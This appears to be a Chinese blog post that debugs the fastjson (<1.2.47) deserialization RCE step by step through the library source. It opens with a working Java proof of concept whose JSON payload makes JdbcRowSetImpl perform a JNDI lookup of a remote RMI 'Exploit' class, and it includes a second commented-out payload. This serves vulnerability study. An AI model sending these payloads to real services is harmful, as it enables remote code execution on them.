IDEA debug漏洞第二弹(fastjson,version<1.2.47)
首先这个漏洞调试不需要非要使用docker,本身是一个jar包的问题。所以我们可以自己写一个小java代码来直接调试。

POC如下
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig; public class Main { public static void main(String[] args)
{
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//String payload1 = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://xxxxx/Exploit\"}}";
String payload2 = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://fast.s.pproot.com/Exploit\",\"autoCommit\":true}}";
JSON.parse(payload2);
}
}
java代码如上,下载fastjson-1.2.44.jar放到对应lib目录下,并把lib目录加入到libraries上。
在JSON.parse(payload);下断点,调试。
    public static Object parse(String text, int features) {
        return parse(text, ParserConfig.getGlobalInstance(), features);
    }
在这块,我个人认为ParserConfig.getGlobalInstance()主要是获取整个代码调用fastjson的时候的设置的环境变量,也就是说,如果在代码块未对一些配置参数更改,那这块获取的配置就是默认的配置环境。

环境可以理解为,就是一些参数值是true还是false。
我们可以看到,autoTypeSupport是false的,
在一些POC里,我们也搜到了一些fastjson rce漏洞 触发的条件之一就是ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
    public static Object parse(String text, ParserConfig config, int features) {
        if (text == null) {
            return null;
        }
        DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
        Object value = parser.parse();
        parser.handleResovleTask(value);
        parser.close();
        return value;
    }
来到DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
text就是传入的poc,config就是之前的全局环境配置。我们假设我们不知道哪里触发的,于是我们就要跟入一下new DefaultJSONParser这个实例化操作。
    public DefaultJSONParser(final String input, final ParserConfig config, int features){
        this(input, new JSONScanner(input, features), config);
    }
到这块,继续深入。可以通过查看dnslog,发现还没收到请求,说明还没触发漏洞。
text值转入了input,new JSONScanner里面
/fastjson-1.2.44-sources.jar!/com/alibaba/fastjson/parser/JSONLexerBase.java
第1104行
    protected final static char[] typeFieldName = ("\"" + JSON.DEFAULT_TYPE_KEY + "\":\"").toCharArray();
出现了poc里面的一个关键词,JSON.DEFAULT_TYPE_KEY为@type

搜索资料显示JSONLexerBase
JSONLexer是个接口类,定义了各种当前状态和操作接口。JSONLexerBase是对JSONLexer实现的抽象类,类似于序列化的SerializeWriter类,专门解析json字符串,并做了很多优化。实际使用的是JSONLexerBase的两个子类JSONScanner和JSONLexerBase,前者是对整个字符串的反序列化,后者是接Reader直接序列化。
可以看到我们调用了JSONScanner,所以这个漏洞也可以称作反序列化漏洞。
不过我对上面红色的话有异议,因为我搜索了全局的JSONLexerBase,我发现JSONLexerBase的子类只有JSONScanner,且子类名应该和父类不同同名,所以猜测有一定的错误性,但是JSONScanner是用来反序列化这点应该是没有什么问题的。
继续跟进
    public JSONScanner(String input, int features){
        super(features);
        text = input;
        len = text.length();
        bp = -1;
        next();
        if (ch == 65279) { // utf-8 bom
            next();
        }
    }
text值又为poc了,应该是保持之前的上下文变量统一。
跟到进入
     public char charAt(int index) {
         if ((index < 0) || (index >= value.length)) {
             throw new StringIndexOutOfBoundsException(index);
         }
         return value[index];
     }
这块没啥用,本来以为会在JSONScanner类里面触发,发现没有,调回到外层的this了。
this(input, new JSONScanner(input, features), config);
这个this其实就是本身DefaultJSONParse类的同名的构造方法,三个形参的那个同名构造方法。
代码如下:
    public DefaultJSONParser(final Object input, final JSONLexer lexer, final ParserConfig config){
        this.lexer = lexer;
        this.input = input;
        this.config = config;
        this.symbolTable = config.symbolTable;
        int ch = lexer.getCurrent();
        if (ch == '{') {
            lexer.next();
            ((JSONLexerBase) lexer).token = JSONToken.LBRACE;
        } else if (ch == '[') {
            lexer.next();
            ((JSONLexerBase) lexer).token = JSONToken.LBRACKET;
        } else {
            lexer.nextToken(); // prime the pump
        }
    }
input是poc,lexer是带有poc的整个反序列化状态环境,config是全局fastjson配置环境变量集合。
 if (ch == '{') {
            lexer.next();
            ((JSONLexerBase) lexer).token = JSONToken.LBRACE;
        } else if (ch == '[') {
            lexer.next();
            ((JSONLexerBase) lexer).token = JSONToken.LBRACKET;
        } else {
            lexer.nextToken(); // prime the pump
        }
到这段代码才是真正处理剖析poc的内容。{开头是对象,[开头是数组。
判断第一个字符是{后退出。(⊙o⊙)…,没在DefaultJSONParse触发poc,跳回到执行
Object value = parser.parse();
继续进入DefaultJSONParse.parse下面
因为是之前同类下面所以,this.lexer还是带有poc的环境情况变量的值。
 public Object parse(Object fieldName) {
        final JSONLexer lexer = this.lexer;
        switch (lexer.token()) {
lexer.token值是12
case跳到
case LBRACE:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return parseObject(object, fieldName);
查看了LBRACE是全局定义了12。
传入JSONObject类的实例化
进入同名构造函数
    public JSONObject(boolean ordered){
        this(DEFAULT_INITIAL_CAPACITY, ordered);
    }
DEFAULT_INITIAL_CAPACITY为全局常量为16
ordered为false
    public JSONObject(int initialCapacity, boolean ordered){
        if (ordered) {
            map = new LinkedHashMap<String, Object>(initialCapacity);
        } else {
            map = new HashMap<String, Object>(initialCapacity);
        }
    }
因为这边没有poc,所以肯定也不在这块触发。
后面很多都是在处理,我本身跟踪花了很大的一部分时间。
还是在com.alibaba.fastjson.parser.DefaultJSONParser类里
if (ch == '"') {
                    key = lexer.scanSymbol(symbolTable, '"');
                    lexer.skipWhitespace();
                    ch = lexer.getCurrent();
                    if (ch != ':') {
                        throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
                    }
                } 
循环出key的值为@type。
感觉大概率是这边下面了。JSON.DEFAULT_TYPE_KEY为@type,!lexer.isEnabled(Feature.DisableSpecialKeyDetect))为true。
if (key == JSON.DEFAULT_TYPE_KEY
&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"'); if (lexer.isEnabled(Feature.IgnoreAutoType)) {
continue;
} Class<?> clazz = null;
if (object != null
&& object.getClass().getName().equals(typeName)) {
clazz = object.getClass();
} else {
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
} if (clazz == null) {
map.put(JSON.DEFAULT_TYPE_KEY, typeName);
continue;
} lexer.nextToken(JSONToken.COMMA);
if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken(JSONToken.COMMA);
try {
Object instance = null;
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
if (deserializer instanceof JavaBeanDeserializer) {
JavaBeanDeserializer javaBeanDeserializer = (JavaBeanDeserializer) deserializer;
instance = javaBeanDeserializer.createInstance(this, clazz); for (Object o : map.entrySet()) {
Map.Entry entry = (Map.Entry) o;
Object entryKey = entry.getKey();
if (entryKey instanceof String) {
FieldDeserializer fieldDeserializer = javaBeanDeserializer.getFieldDeserializer((String) entryKey);
if (fieldDeserializer != null) {
fieldDeserializer.setValue(instance, entry.getValue());
}
}
}
} if (instance == null) {
if (clazz == Cloneable.class) {
instance = new HashMap();
} else if ("java.util.Collections$EmptyMap".equals(typeName)) {
instance = Collections.emptyMap();
} else {
instance = clazz.newInstance();
}
} return instance;
} catch (Exception e) {
throw new JSONException("create instance error", e);
}
} this.setResolveStatus(TypeNameRedirect); if (this.context != null
&& fieldName != null
&& !(fieldName instanceof Integer)
&& !(this.context.fieldName instanceof Integer)) {
this.popContext();
} if (object.size() > 0) {
Object newObj = TypeUtils.cast(object, clazz, this.config);
this.parseObject(newObj);
return newObj;
} ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);
}
String typeName = lexer.scanSymbol(symbolTable, '"');
scanSymbol就是循环取出""里面的内容。
所以typeName的内容是org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
额外知识,看这个object.getClass().getName().equals(typeName)
其实使用了java的反射技巧,通过object这个实力,取getClass,通过实例取到类的内容,然后getName()获得这个object这个实例的类名。

clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
跟进checkAutoType看到条件
if (typeName.length() >= 128 || typeName.length() < 3) {
            throw new JSONException("autoType is not support. " + typeName);
        }
要求如果typeName太长,或者太短会报错。
fastjson-1.2.44-sources.jar!/com/alibaba/fastjson/parser/DefaultJSONParser.java的205行循环遍历,
循环到
if (!objParsed) {
     obj = this.parseObject(input, key);
}
key为x,进入parseObject。等同于对x的值进行了,进一步的解析。也就是
ObjectDeserializer deserializer = config.getDeserializer(clazz);
然后取到了deserializer ,com.sun.rowset.JdbcRowSetImpl的反序列化的类
return deserialze(parser, type, fieldName, 0);
到这边卡住了,但是跳过这一步就是收到了dnslog。
因此最关键的就在这个deserialze下面。

IDEA debug漏洞第二弹(fastjson,version<1.2.47)的更多相关文章
- 浅谈Hybrid技术的设计与实现第二弹
		
前言 浅谈Hybrid技术的设计与实现 浅谈Hybrid技术的设计与实现第二弹 浅谈Hybrid技术的设计与实现第三弹——落地篇 接上文:浅谈Hybrid技术的设计与实现(阅读本文前,建议阅读这个先) ...
 - typecho流程原理和插件机制浅析(第二弹)
		
typecho流程原理和插件机制浅析(第二弹) 兜兜 393 2014年04月02日 发布 推荐 1 推荐 收藏 14 收藏,3.7k 浏览 上一次说了 Typecho 大致的流程,今天简单说一下插件 ...
 - 前端学习 第二弹: JavaScript中的一些函数与对象(1)
		
前端学习 第二弹: JavaScript中的一些函数与对象(1) 1.apply与call函数 每个函数都包含两个非继承而来的方法:apply()和call(). 他们的用途相同,都是在特定的作用域中 ...
 - 青瓷引擎之纯JavaScript打造HTML5游戏第二弹——《跳跃的方块》Part 10(排行榜界面&界面管理)
		
继上一次介绍了<神奇的六边形>的完整游戏开发流程后(可点击这里查看),这次将为大家介绍另外一款魔性游戏<跳跃的方块>的完整开发流程. (点击图片可进入游戏体验) 因内容太多,为 ...
 - LCA问题第二弹
		
LCA问题第二弹 上次用二分的方法给大家分享了对 LCA 问题的处理,各位应该还能回忆起来上次的方法是由子节点向根节点(自下而上)的处理,平时我们遇到的很多问题都是正向思维处理困难而逆向思维处理比较容 ...
 - 线段树+RMQ问题第二弹
		
线段树+RMQ问题第二弹 上篇文章讲到了基于Sparse Table 解决 RMQ 问题,不知道大家还有没有印象,今天我们会从线段树的方法对 RMQ 问题再一次讨论. 正式介绍今天解决 RMQ 问题的 ...
 - Hadoop基础-MapReduce的工作原理第二弹
		
Hadoop基础-MapReduce的工作原理第二弹 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.Split(切片) 1>.MapReduce处理的单位(切片) 想必 ...
 - 『PyTorch』第二弹重置_Tensor对象
		
『PyTorch』第二弹_张量 Tensor基础操作 简单的初始化 import torch as t Tensor基础操作 # 构建张量空间,不初始化 x = t.Tensor(5,3) x -2. ...
 - Java基础-程序流程控制第二弹(循环结构)
		
Java基础-程序流程控制第二弹(循环结构) 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 流程控制有三种基本结构:顺序结构,选择结构和循环结构.一个脚本就是顺序结构执行的,选择结 ...
 
随机推荐
- web上传下载文件
			
WebService代码: /// /// 上传文件 /// /// 文件的byte[] /// 上传文件的路径 /// 上传文件名字 /// ...
 - Codeforces Educational Codeforces Round 54 题解
			
题目链接:https://codeforc.es/contest/1076 A. Minimizing the String 题意:给出一个字符串,最多删掉一个字母,输出操作后字典序最小的字符串. 题 ...
 - 通过AOP拦截打印日志,出入参数
			
import java.lang.reflect.Modifier; import javassist.ClassClassPath; import javassist.ClassPool; impo ...
 - 工作 巧遇 sql 查询 一组数据中 最新的一条
			
SELECT * FROM rsl a, (SELECT CODE, max(time_key) time_key FROM rsl GROUP BY CODE ) b WHERE a. CODE = ...
 - paramiko多线程远程执行命令
			
import paramiko import sys import getpass import threading import os def rcmd(host=None, port=22, us ...
 - 016_STM32程序移植之_舵机
			
STM32程序移植之舵机PWM测试 接线图如下: STM32引脚 舵机引脚 功能 GND GND 正极电源 具体看舵机的额定电压 PA6 PWM引脚 STM32引脚 CH340引脚 GND GND 3 ...
 - 004_STM32程序移植之_SHTXX
			
1. 测试环境:STM32C8T6 2. 测试模块:DS1302时钟模块 3. 测试接口: SHTXX土壤温湿度: VCC------------------3.3V GND------------- ...
 - 帝国CMS 7.2-插件包整合
			
版权所有 2009-2019 荆门泽优软件有限公司 保留所有权利 官方网站:http://www.ncmem.com/index.aspx 产品首页:http://www.ncmem.com/weba ...
 - 欧几里得?x
			
可以去看dalao博客 orz 1.欧几里得算法 带余除法定理:a,b∈Z,其中b>0,存在唯一q及r,使a=bq+r,其中0<=r<b; 辗转相除法(欧几里得算法)依据:(a,b) ...
 - openpyxl模块(excel操作)
			
openpyxl模块介绍 openpyxl模块是一个读写Excel 2010文档的Python库,如果要处理更早格式的Excel文档,需要用到额外的库,openpyxl是一个比较综合的工具,能够同时读 ...